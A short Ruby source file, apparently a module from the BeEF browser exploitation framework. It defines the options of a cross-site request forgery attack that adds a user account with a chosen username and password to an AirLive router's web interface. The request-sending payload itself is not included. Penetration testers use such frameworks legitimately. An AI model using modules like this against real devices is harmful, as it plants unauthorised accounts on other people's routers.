21 lines
589 B
Ruby
21 lines
589 B
Ruby
#
|
|
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
|
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
|
# See the file 'doc/COPYING' for copying permission
|
|
#
|
|
class Airlive_add_user_csrf < BeEF::Core::Command
|
|
|
|
def self.options
|
|
return [
|
|
{'name' => 'base', 'ui_label' => 'Router web root', 'value' => 'http://192.168.0.1/'},
|
|
{'name' => 'user', 'ui_label' => 'Desired username', 'value' => 'beef'},
|
|
{'name' => 'pass', 'ui_label' => 'Desired password', 'value' => '__BeEF__'}
|
|
]
|
|
end
|
|
|
|
def post_execute
|
|
save({'result' => @datastore['result']})
|
|
end
|
|
|
|
end
|